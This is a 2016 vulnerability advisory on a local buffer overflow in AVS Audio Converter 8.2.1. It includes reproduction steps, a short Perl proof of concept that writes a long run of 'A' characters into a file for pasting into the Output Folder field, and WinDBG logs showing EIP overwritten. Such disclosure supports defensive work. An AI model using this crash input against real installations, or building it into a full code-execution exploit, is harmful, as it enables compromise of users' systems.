Document Title: =============== AVS Audio Converter 8.2.1 - Buffer Overflow Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1920 Release Date: ============= 2016-08-22 Vulnerability Laboratory ID (VL-ID): ==================================== 1920 Common Vulnerability Scoring System: ==================================== 6.3 Product & Service Introduction: =============================== AVS Audio Editor is an audio file editor of its primary function is for editing audio files. It is able to cut, join, combine or split audio files. All these operations are done with great precision to the hundredth of a second. You can work with files in .wav formats, Mp3, Pcm, M4A, Flac and many others. (Copy of the Vendor Homepage: http://www.avs4you.com/AVS-Audio-Converter.aspx ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered a local buffer overflow vulnerability in the AVS Audio Converter 8.2.1 software. Vulnerability Disclosure Timeline: ================================== 2016-08-22: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== AVS4YOU Product: AVS Audio Converter - Software 8.2.1 Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ A buffer overflow vulnerability has been discovered in the official software AVS Audio Converter V8.2.1. The vulnerability allows local attackers to overwrite registers to compromise the local software process. Vulnerability classic buffer overflow is in the AVS Audio Converter. An attacker can manipulate the bit EIP register to execute the next instruction of their choice. Attackers can eg execute arbitrary code with the privileges of the process. The attacker has a large unicode string to crush the EIP register process. Finally, the attacker is able to process the takeover by a crushing of the active program process to compromise the computer system. Proof of Concept (PoC): ======================= The buffer overflow vulnerability can be exploited by local attackers with restricted system user account and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Download and install the AVS Audio Converter.exe 2. Run the code via perl script or perl 3. A file format (poc.txt) will be created 4. Open the generated file (poc.txt) 5. Start the AVS Audio Converter software 6. Attach a debugger like windbg, immunity or ollydbg 7. Load the path location by software interaction or copy paste the file characters AAAAAAAAA+... as input to the Output Folder 8. Click to Browse function for the path 9. Software will crash with unhandled exception and critical access violation 10. Watch the debugger logs were the eip is overwritten 11. Interact to manipulate the followup address 12. Successful reproduce of the local buffer overflow vulnerability! PoC: Exploitation (Perl) #!/usr/bin/perl my $Buff = "x41" x 9000; open(MYFILE,'>>poc.txt'); print MYFILE $Buff; close(MYFILE); print "Local BOF PoC by ZwXn"; --- Debug Session Logs [WinDBG] --- Access violation - code c0000005 First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=41414141 edx=77db38a0 esi=00000000 edi=00000000 eip=41414141 esp=0014f578 ebp=0014f598 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246 41414141 ?? ??? 0:000> d 0014fab4 0014fab4 41414141 0014fab8 41414141 0014fabc 41414141 0014fac0 41414141 0014fac4 41414141 0014fac8 41414141 0014facc 41414141 0014fad0 41414141 0014fad4 41414141 0014fad8 41414141 0014fadc 41414141 0014fae0 41414141 0014fae4 41414141 0014fae8 41414141 0014faec 41414141 0014faf0 41414141 0014faf4 41414141 0014faf8 41414141 0014fafc 41414141 0014fb00 41414141 0014fb04 41414141 0014fb08 41414141 0014fb0c 41414141 0014fb10 41414141 0014fb14 41414141 0014fb18 41414141 0014fb1c 41414141 0014fb20 41414141 0014fb24 41414141 0014fb28 41414141 0014fb2c 41414141 0014fb30 41414141 Note: The access violation with the exception and followup offsets shows that the ecx & eip was overwritten. Security Risk: ============== The security risk of the local buffer overflow vulnerability in the avs software is estimated as high. (CVSS 6.3) Credits & Authors: ================== ZwX - [http://www.vulnerability-lab.com/show.php?user=ZwX] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for consequential or incidental damages so the foregoing limitation may not apply. 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